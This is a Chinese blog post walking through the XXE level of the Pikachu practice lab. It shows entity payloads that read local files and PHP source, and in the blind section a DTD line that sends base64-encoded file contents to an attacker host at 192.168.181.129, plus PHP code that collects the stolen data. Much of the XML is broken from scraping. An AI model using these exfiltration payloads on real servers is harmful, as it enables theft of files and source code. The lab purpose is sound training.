• Pikachu-xxe (xml外部实体注入漏洞)过关笔记


    这一关包含了xxe漏洞,可以练习使用不同注入方法过关
    在这里插入图片描述

    有回显

    环境配置: win10物理机搭建phpstudy

    探测是否有回显

     
    DOCTYPE foo [    
    <!ENTITY xxe "chuan" > ]> 
    <foo>&xxe;foo>
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    file:///协议查看本地系统文件

     
    DOCTYPE foo [    
     ]> 
    <foo>&xxe;foo>
    
    • 1
    • 2
    • 3
    • 4

    php://协议查看php源代码(无法查看当前网页代码,只能看别的)

     
    DOCTYPE foo [    
     ]> 
    <foo>&xxe;foo>
    
    • 1
    • 2
    • 3
    • 4

    http://协议爆破开放端口(两者的加载时间不同)

     
    DOCTYPE foo [    
     ]> 
    <foo>&xxe;foo>
    
    
    
     
    DOCTYPE foo [    
     ]> 
    <foo>&xxe;foo>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    无回显

    环境配置: 攻击机为虚拟机kali,ip为192.168.181.129; 靶机为win10物理机,ip为192.168.181.1
    物理机上搭建phpstudy,使用kali通过网页访问物理机搭建的网站(如下图),最终目标是获取物理机网站下的文件。

    讲讲思路先吧。
    虽然它有回显,但我们假装无回显好吧(懒得改代码了),所以就不能像上述操作一样直接从页面中看到返回的结果。
    因此我们要转变下思路,既然无法直接看见结果,那我们就让目标网站主动将结果发给我们,然后我们就可以接收网站的传参,最后获取结果。
    思路有了,那么该如何实现呢?
    第一步先在输入框里传入xml代码,使得网站主动访问我们的payload;
    第二步在payload里写入获取目标信息,以及发送信息的代码
    第三步就是在我们自己的网站上新建一个接收信息的文件,等待目标网站主动给我们发信息就o了
    思路讲完了,接下来是代码时间~

    在这里插入图片描述

    第一步

    在输入框里传入xml代码,使得192.168.181.1主动访问192.168.181.129网站上的外部实体dtd文件(两种写法,结果一样一样的)

    
    DOCTYPE foo [
    
    %dtd;
    %print;
    %send;
    ]>
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    
    DOCTYPE test [
    		
    		
    	    %dtd;
    		%payload;
    		%send;
    ]>
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    第二步

    将写有payload的dtd文件写入kali网站目录,能访问到就行
    以下是两种dtd文件写法,分别对应以上两种不同的xml提交代码(也是写法上有一丢丢不同,原理一样)
    都是将查找到的php源码信息进行base64编码后作为参数传入data中

    以下是我找的相关资料

    在 HTML中,某些字符是预留的,例如小于号「<」、大于号「>」等,浏览器会将它们视作标签。如果想要在HTML中显示这些预留字符,我们就要用到字符实体(character
    entities)。我们比较熟悉的字符实体有空格「 」,小于号「<」,大于号「>」等。这样的格式比较语义化,容易记忆,但其实字符实体有其他的格式:
    / ~ ~ ~

    numeric character reference,数字取值为目标字符的 Unicode code point;以「&#」开头的后接十进制数字,「&#x」开头的后接十六进制数字。
    / ~ ~ ~
    % % 都为 %

    test.dtd

    
    
    % send SYSTEM 'http://192.168.181.129/recive.php?data=%file;'>">
    
    
    • 1
    • 2
    • 3
    • 4

    test1.dtd

    
    % send SYSTEM
    'http://192.168.181.129/recive.php?data=%file;'>
    
    • 1
    • 2
    • 3
    • 4

    第三步

    下面是用于接受发送数据的recive.php,也是写入kali机的网站。因为dtd文件使用get方法传参,所以只需要接受GET参数并保存到get_data.txt里面就好了。

    
    // 检查请求方法是否为POST
    if ($_SERVER["REQUEST_METHOD"] == "GET") {
        // 获取POST请求的数据
        $postData = $_GET['data']; // 'data'是GET请求中的字段名,可以根据需要修改
    
        // 如果数据非空,将其保存到文件
        if (!empty($postData)) {
            $fileName = "get_data.txt"; // 文件名,可以根据需要修改
            $file = fopen($fileName, "a"); // 打开文件,以追加模式写入
            if ($file) {
                fwrite($file, $postData . "\n"); // 写入数据
                fclose($file); // 关闭文件
                echo "数据保存成功!";
            } else {
                echo "无法打开文件进行写入。";
            }
        } else {
            echo "未收到有效数据。";
        }
    } else {
        echo "只接受GET请求。";
    }
    
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    运行结果

    代码到这就结束了,下面是运行截图

    就是不知道为啥这里一直显示失败,但我的确又是得到最终结果了=_=,不管了

    在这里插入图片描述

    kali网站路径下成功得到了一个get_data.txt文件,里面是index.php源码的base64编码,直接解码一下就好了
    在这里插入图片描述

    以下是我用wireshark抓包抓来的,可以看见物理机和kali之间互相请求了两个来回才完成这次攻击,下面我简要记录一下请求的内容
    在这里插入图片描述

    第一次请求没啥好看的,就是把kali把装有xml代码的数据包发给物理机
    在这里插入图片描述
    第二次请求,物理机解析了xml代码后主动访问kali网站上的test.dtd文件
    在这里插入图片描述

    第三次请求,kali向物理机传入payload
    在这里插入图片描述

    第四次请求,物理机解析dtd文件后将结果放入data参数中传给kali
    在这里插入图片描述
    很清晰的过程
    o了 : )

  • 相关阅读:
    Linux系统man帮助一文通-尚文网络xUP楠哥
    比 O(nlog(n)) 做得更好——2.改变问题以及排序和填充数组
    31 - 认识MySQL
    响应式织梦模板净水设备类网站
    科技创新赋能森歌制造-浅谈森歌高品质发展之路
    golang使用mongo-driver操作——增(进阶)
    案例推荐|助力智慧城市,Pulsar Functions 的边缘物联网场景实践
    yolov5
    Bika LIMS 开源LIMS集——ERD实体关系定义(数据库设计)
    python+vue+elementui电影个性化推荐系统django协同过滤算法
  • 原文地址:https://blog.csdn.net/weixin_62621015/article/details/133397640